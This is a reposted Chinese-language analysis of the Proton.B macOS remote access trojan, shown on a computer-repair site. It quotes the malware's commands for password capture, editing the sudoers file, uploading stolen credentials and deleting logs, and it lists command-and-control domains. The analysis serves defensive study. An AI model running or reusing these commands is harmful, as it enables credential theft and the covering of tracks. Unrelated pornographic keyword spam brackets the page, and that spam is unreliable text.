国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護(hù) 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
新型木馬Proton.B惡意軟件會在你的Mac OS上干些什么壞事

作者: 佚名  日期:2017-05-20 07:23:24   來源: 本站整理

 近期,黑客又開發(fā)出了一種Proton遠(yuǎn)程訪問工具(RAT)的新型變種。Proton是一個針對macOS系統(tǒng)的惡意軟件,它可以竊取密碼、記錄鍵盤按鍵數(shù)據(jù)和提取文件,攻擊者甚至還可以利用它來遠(yuǎn)程登錄目標(biāo)主機(jī)。

寫在前面的話
為了研究這個惡意軟件變種,我下載了一個植入了Proton的HandBrake樣本。這個樣本感染的是Proton.B,也就是Proton的變種版本。我對該惡意軟件的運(yùn)行機(jī)制進(jìn)行了分析,并使用逆向工程技術(shù)對其代碼進(jìn)行了研究。我通過研究發(fā)現(xiàn),Proton的開發(fā)者使用了多種技術(shù)來干擾安全研究人員的分析,例如對字符串進(jìn)行加密,以及在多個分散文件中存儲惡意腳本代碼等等。
注:HandBrake是目前一款非常流行的視頻編碼應(yīng)用。安全專家Patrick在他所發(fā)表的文章中詳細(xì)描述了攻擊者如何將Proton嵌入了HandBrake之中,因此本文不再對其進(jìn)行贅述。
Proton的工作機(jī)制
我們首先需要處理的惡意軟件名為activity_agent。在反匯編工具中打開這個文件之后,你會發(fā)現(xiàn)它采用的編程語言為Objective-C,這也是macOS平臺“原生”的編程語言,而很多其他的惡意軟件使用的是C++或者是其他的一些跨平臺方案(例如QT)。
接下來,我使用IDA Pro對文件的二進(jìn)制源碼進(jìn)行了分析。在這個過程中,我發(fā)現(xiàn)了很多有意思的東西,例如SSH隧道技術(shù)等等,但是我在測試這個惡意軟件樣本的過程中卻并沒有看到SSH隧道技術(shù)的使用。

當(dāng)文件被執(zhí)行之后,它會解密一個名為“.hash”的文件,這個文件位于bundle下的Resources目錄中。

這個文件中包含有大量字符串子集,而activity_monitor源碼將會加載這些字符串?dāng)?shù)據(jù),這也是很多惡意軟件開發(fā)者為了躲避安全研究人員和反病毒產(chǎn)品的檢測而經(jīng)常會用到的一種簡單的字符串隱藏技術(shù)。
解密完成之后,文件“.hash”中包含有下列數(shù)據(jù):



我們可以看到文件中使用到了大量的“%@”,這是Objective-C特有的語句標(biāo)識,表示的是NSSTRING。注:Objective-C用“%@”來格式化字符串。
當(dāng)這個文件被執(zhí)行之后,會彈出一個看似合法的對話框,并提示用戶輸入密碼才可以安裝HandBrake的應(yīng)用組件,但對話框中的提示文本很明顯就是文件“.hash”中的內(nèi)容。

Mac用戶在每一個對話框中輸入密碼之前,一定要三思而后行。因為通過對話框的形式來要求用戶輸入密碼是一種非常常見的社會工程學(xué)技術(shù),攻擊者可以利用這種方法來欺騙用戶交出自己的密碼。大家也都知道,很多惡意軟件攻擊都會使用這種方法。由于絕大多數(shù)環(huán)境下目標(biāo)用戶都在sudoers列表之中,因此攻擊者只要拿到了用戶的密碼,就可以將自己的權(quán)限提升到root。
當(dāng)用戶輸入了自己的密碼之后,該惡意軟件會立刻通過下列命令檢測密碼的有效性:
‘/bin/sh’, ‘-c’,“echo ‘qwer1234’ | sudo -S echo success;”
驗證成功之后的下一步就是通過下列命令禁用/etc/sudoers/中的“tty_tickets”功能:

‘/bin/sh’,‘-c’, ‘echo \’printf “\\033[8;1;1t”; echo “qwer1234” | sudo -S sh -c “echo\’Defaults !tty_tickets\’ >> /etc/sudoers”; killall Terminal; sleep 1;\’
tty_tickets是從macOS Sierra開始默認(rèn)開啟的一項功能,每當(dāng)用戶在一個單獨的終端頁面執(zhí)行一個“sudo”命令時,它都會要求用戶輸入自己的密碼。如果禁用了這項功能,那么用戶只需要輸入一次密碼,就可以在多個新的終端窗口(tty)中執(zhí)行“sudo”命令了。我認(rèn)為,tty_tickets的禁用將會方便惡意軟件的開發(fā)者執(zhí)行腳本任務(wù),因為只需要輸入一次密碼就可以在不同的終端窗口中執(zhí)行sudo命令了。
當(dāng)我在IDA Pro中查看activity_agent的字符串部分時,我迅速發(fā)現(xiàn)了一個公共密鑰。

這個密鑰會在下面這行命令中使用到:
 ‘/bin/sh’,‘-c’, “echo ‘—–BEGIN PUBLICKEY—–\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUP19DdW2NlkkdovqqwF\n+r3sBaa

mka42zVMGa+COUCIysrVhVJIv4nmc57TLxgG8dsg+G0o0NQ75n898b04l\nYGve3gXGWJ

8Y5OTJ16+RA4OtKAiO8v7qEGnQ/QpSzrLZPU3Yd60bAltYSvCCiOdB\nOKhOAiag0H39F2k

5ea4zxt6TNDksW/o3+HcjzA4yy+C1tp2Cr4X37O5XMVZPWpMk\nsIXPazh91tr0TJ2VFyx

4btnDPajeOzhcKUA05Wrw+hagAZnFU9Bajx3KvdTlxsVx\nLmRc5r3IqDAsXTHH1jpmWMDiC9IGLDFP

rN6NffAwjgSmsKhi1SC8yFHh0oPCswRh\nrQIDAQAB\n—–ENDPUBLIC KEY—–‘ > /tmp/public.pem; openssl rsautl -verify -in/Users/test/Downloads/Proton/Proton.B/activity_agent.app/Contents/Resources/.tmpdata-pubin -inkey/tmp/public.pem; openssl rsautl -verify -in/Users/test/Downloads/Proton/Proton.B/activity_agent.app/Contents/Resources/.tmpdata-pubin –inkey
密鑰存儲在/tmp/public.pem文件之中,當(dāng)這個密鑰存儲完畢之后,惡意軟件會解密一個名叫“.tmpdata”的文件,這個文件同樣在Resources目錄中。注:在macOS和Linux這種使用了POSI文件系統(tǒng)的平臺中,文件名前面有”.”表示這是一個隱藏文件。
解密后的“.tmpdata”文件中包含有惡意軟件的“許可證”(JSON格式),許可證數(shù)據(jù)為它的“有效期”以及各種校驗碼。
{“expiration_date”:”2017-05-1023:59:59 +0000″,”grace_period”:”25″,”bundle_name”:”chameleo”,”os_version”:”10.x”,”checksum”:”

128814f2b057aef1dd3e00f3749aed2a81e5ed03737311f2b1faab4ab2e6e2fe”}
接下來,惡意軟件會進(jìn)行一次測試來確定已經(jīng)成功接入了互聯(lián)網(wǎng)。(與Google的DNS服務(wù)器-8.8.8.8建立一條TCP鏈接,時長20秒)
‘/bin/sh’,‘-c’, ‘nc -G 20 -z 8.8.8.8 53 >/dev/null 2>&1 && echo success’.
惡意軟件還會嘗試與下面列表中的其他域名進(jìn)行連接:
handbrakestore.com
handbrake.cc
luwenxdsnhgfxckcjgxvtugj.com 
6gmvshjdfpfbeqktpsde5xav.com 
kjfnbfhu7ndudgzhxpwnnqkc.com 
yaxw8dsbttpwrwlq3h6uc9eq.com 
qrtfvfysk4bdcwwwe9pxmqe9.com 
fyamakgtrrjt9vrwhmc76v38.com 
kcdjzquvhsua6hlfbmjzkzsb.com 
Ypu4vwlenkpt29f95etrqllq.com
隨后惡意軟件會檢測當(dāng)前的時間和日期,這里非常有意思,它好像并不信任目標(biāo)設(shè)備上的設(shè)置,它會與外部服務(wù)器(Google主機(jī))單獨進(jìn)行一次時間同步,很可能是因為攻擊者想要防止研究人員對本地設(shè)備時鐘動手腳。惡意軟件通過創(chuàng)建一個新的環(huán)境變量$hcresult來獲取時間和日期,這個變量可以存儲Google返回的內(nèi)容。執(zhí)行命令如下:
hcresult=`curl -sL https://script.google.com/macros/s/AKfycbyd5AcbAnWi2Yn0xhFRbyzS4qMq1

VucMVgVvhul5XqS9HkAyJY/exec`
接下來,惡意軟件還會檢測下列路徑中的文件是否存在,如果存在,則說明Proton.B的安裝已經(jīng)完成。
~/Library/VideoFrameworks/.ptrun
如果許可證仍然有效,那么Proton.B將會創(chuàng)建一個新的目錄:~/Library/Renderfiles,并將它的bundle文件拷貝到這個目錄中,然后刪除初始執(zhí)行地址中的所有bundle。
接下來,它還會創(chuàng)建另一個目錄:~/Library/VideoFrameworks。這個目錄將會存儲所有竊取來的數(shù)據(jù),隨后這些信息將會被發(fā)送給攻擊者。
根據(jù)我的研究發(fā)現(xiàn),它會竊取以下憑證:
1. Google Chrome資料和所有保存的密碼,包括cookie、保存的表單數(shù)據(jù)和密碼;
2. Safari資料和所有保存的密碼,包括cookie、保存的表單數(shù)據(jù)和密碼;
3. Firefox資料和所有保存的密碼,包括cookie、保存的表單數(shù)據(jù)和密碼;
4. Opera資料和所有保存的密碼,包括cookie、保存的表單數(shù)據(jù)和密碼;
5. 各種鑰匙串?dāng)?shù)據(jù);
6. 1Password數(shù)據(jù)庫

每一個類別的密碼將會保存在相應(yīng)的zip文件中:
Chrome數(shù)據(jù)保存在CR_dif.zip中;
Firefoxs數(shù)據(jù)保存在FF.zip中;
Opera數(shù)據(jù)保存在OP.zip中;
下列目錄中的鑰匙串?dāng)?shù)據(jù)保存在KC.zip中:
/Library/Keychains
~/Library/keychain
下列目錄中的Gnupg和iPassword數(shù)據(jù)保存在GNU_PW.zip中:
~/.gnupg
~/Library;/Application support/1Password 4
~/Library;/Application support/1Password 3.9
而所有的這些文件又會全部壓縮到一個名叫Proton.zip的文件中,這個文件保存在~/Library/VideoFrameworks目錄,隨后會被發(fā)送給攻擊者。
當(dāng)所有的憑證數(shù)據(jù)壓縮完成之后,惡意軟件會使用“curl”將壓縮包發(fā)送給攻擊者-url: http://api.handbrake.biz/api/init:

當(dāng)所有的壓縮包創(chuàng)建完成之后,惡意軟件還會執(zhí)行多次“killall”命令并關(guān)閉下列應(yīng)用進(jìn)程:
Console
Terminal
Wireshark
這一步會大大增加研究人員對這款惡意軟件的分析難度,一個簡單的應(yīng)對方案是使用tee命令將日志輸出到其他文件,使用iTerm來代替Terminal(終端),然后使用tcpdump或Tshark來代替Wireshark。¯\_(ツ)_/¯
完成了上述的所有操作步驟之后,惡意軟件會將其本身的bundle拷貝到~/Library/RenderFiles/activity_agent.app中,然后通過添加下列LaunchAgent來實現(xiàn)在目標(biāo)設(shè)備中的持久化感染:~/Library/LaunchAgents/fr.handbrake.actibity_agent.plist。
當(dāng)然了,沒有清除日志記錄的惡意軟件不是一款好的惡意軟件。Proton.B還會通過下列命令來清除系統(tǒng)的日志數(shù)據(jù):
sudo -S rm -rf /var/log/* /Library/Logs/*
緩解方案
感染了Proton怎么辦?如果你感覺你的憑證已經(jīng)被攻擊者竊取了,請盡快修改你所有的賬戶密碼,包括所有的在線服務(wù)賬號。
總結(jié)
目前,macOS平臺上的絕大多數(shù)惡意軟件進(jìn)行的都是一些簡單的惡意廣告活動或攻擊活動,而這也是我們第一次能夠拿到一個真實的惡意軟件樣本并對其內(nèi)部運(yùn)行機(jī)制進(jìn)行詳細(xì)的分析。不過遺憾的是,在整個研究過程中我們沒能到任何交互式命令的執(zhí)行,而且也沒有看到攻擊者與我的研究機(jī)器初始化新的連接。
 



熱門文章
  • 機(jī)械革命S1 PRO-02 開機(jī)不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機(jī)SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機(jī)始終停留在開機(jī)界面...
  • 常見打印機(jī)清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機(jī)需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機(jī)的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護(hù),上門維修電腦,黑屏藍(lán)屏死機(jī)故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    亚洲国产一区二区在线| 高清国语自产拍免费一区二区三区| 中文字幕久久久| www.男人天堂.com| 成人精品亚洲人成在线| 色播亚洲婷婷| 中国黄色a级片| 伊人春色在线| 国产成人在线免费| 国产精品亚洲不卡a| 亚洲人成电影院色| 一区二区三区在线高清| 7799精品视频天天看| 伊人久久亚洲热| 成人av网址在线| 99久久国产免费免费| 久久99国产综合精品免费| 国产精品久久久久久久一区二区| 全彩无遮拦全彩口工漫画全彩| 91精品专区| 经典一区二区三区| 色噜噜久久综合伊人一本| 国产精品一区二区6| 蜜桃视频一日韩欧美专区| 日韩精品国产精品| 日本丰满少妇xxxx| 欧美xxxx性| 精品乱码一区二区三区| 日日夜夜天天综合| 风间由美一区二区三区| 最猛黑人系列在线播放| 国产精品系列在线观看| 国产精自产拍久久久久久蜜| 日本人成精品视频在线| 免费成人美女女在线观看| 欧美性video| 国产精品美乳一区二区免费| 亚洲国产精品成人无久久精品| 在线视频影院| 成人久久在线| 日本午夜免费福利视频| 日韩电影在线观看永久视频免费网站| 青花影视在线观看免费高清| av不卡一区| 麻豆精品在线观看| 亚洲成人资源网| 亚洲成年人专区| 国产又色又爽又黄又免费| 国产精品成久久久久| 国产精品99久久久久久人 | 婷婷综合亚洲| 日韩免费视频一区| 永久免费看片在线观看| 佐山爱痴汉视频一区二区三区 | 偷偷要91色婷婷| 欧美福利第一页| 男人的天堂在线视频免费观看| 欧美日韩一区二区在线观看视频| 熟女视频一区二区三区| 欧美黑人粗大| 久久精品噜噜噜成人av农村| 精品人妻在线视频| 国产精品色在线网站| 俺去亚洲欧洲欧美日韩| 天堂在线一二区| 色偷偷9999www| 好吊色一区二区三区| 国产精品一级二级三级| 国产一区二区三区乱码| 老司机av网站| а√最新版地址在线天堂 | www污网站在线观看| 亚洲天堂久久| 亚洲欧洲一区二区三区在线观看| 亚洲无人区码一码二码三码的含义| 亚洲日本成人| 欧美一级淫片videoshd| 情侣黄网站免费看| 精品99在线观看| 成人一区二区| 国产精品视频你懂的| wwwxxx黄色片| 欧美少妇性xxxx| 国产精品揄拍500视频| 黄色网址视频在线观看| 国产福利精品在线| 小视频在线播放| 国产日产欧美一区二区视频| 免费极品av一视觉盛宴| 国产成人三级| 亚洲欧美丝袜| 欧美亚洲国产日韩| 欧美 日韩 国产 在线观看| 精品国产乱码一区二区三区| 在线观看av一区| 无码免费一区二区三区| 美女在线观看视频一区二区| 亚洲女人久久久| 国产精品白丝在线| 欧美做a欧美| 韩日欧美一区| 久操视频在线观看免费| 亚洲精品456| 久久久av一区| 久草在线在线| 韩国成人一区| 日韩一区二区三区四区视频| 中文字幕五月欧美| www.好吊色| 免费日韩视频| 免费看欧美黑人毛片| 精品一区二区三区中文字幕 | 成人免费观看网址| 亚洲五月综合| 亚洲黄色在线播放| 亚洲国产成人久久| 手机在线理论片| 免费99精品国产自在在线| 免费看一级大片| 国产精品一区在线| 天天干天天做天天操| 日韩制服丝袜先锋影音| 三级男人添奶爽爽爽视频| 欧美成人日韩| 永久免费av无码网站性色av| 91久久中文| 唐朝av高清盛宴| 性久久久久久久| 青青草手机在线观看| 亚洲男女毛片无遮挡| av中文字幕第一页| 精品久久久久久久久久久院品网| 欧美四级剧情无删版影片| 91视频观看视频| 国产三级第一页| 色婷婷综合成人| 美乳在线观看| 久久久电影免费观看完整版| 岛国大片在线观看| 国产免费一区视频观看免费| 色图在线观看| 精品久久久久久久一区二区蜜臀| 传媒av在线| 超碰97在线看| 不卡一区二区在线| 国产美女在线播放| 成人性生交大片免费看小说| 少妇精品视频一区二区免费看| 午夜欧美福利视频| 国产一区二区观看| 亚洲综合视频在线播放| 免播放器亚洲一区| 亚洲国产精品18久久久久久| 色中色综合影院手机版在线观看| 免费在线看黄色| 青青青青在线视频| 久久天堂精品| 国产麻豆视频| 亚洲精品乱码视频| 国产日韩在线不卡| 免费国产在线观看| 色一情一区二区三区四区| 91在线精品秘密一区二区| www污污网站在线看| 亚洲视频精品一区| 国产福利一区二区三区视频| 川上优的av在线一区二区| 呻吟揉丰满对白91乃国产区| 中文字幕日韩视频| 在线日本成人| 国产精品久久久久久久牛牛 | 在线中文字幕视频观看| 精品一区二区电影| 中文字幕亚洲在线观看| 在线精品视频播放| 欧美激情第1页| 狂野欧美xxxx韩国少妇| 日韩久久久久久久久| 国产+成+人+亚洲欧洲| 丁香花高清视频完整版在线观看| 欧美在线中文字幕| 亚洲xxx拳头交| 国产美女主播视频一区| 亚洲一区二区福利| 国产精品欧美亚洲777777| 免费观看黄网站| 国产xxx视频| 黄色网页在线免费看| 久久久人人人| 在线精品播放av| 日本肉体xxxx裸体xxx免费| 欧美在线xxxx| 欧美一区二区三区红桃小说| 午夜精品久久久久影视| 久久综合中文色婷婷| 亚洲老女人av| 欧美18一14sex性处hd| 欧美日韩看看2015永久免费| 色综合天天性综合| 国产成人亚洲综合|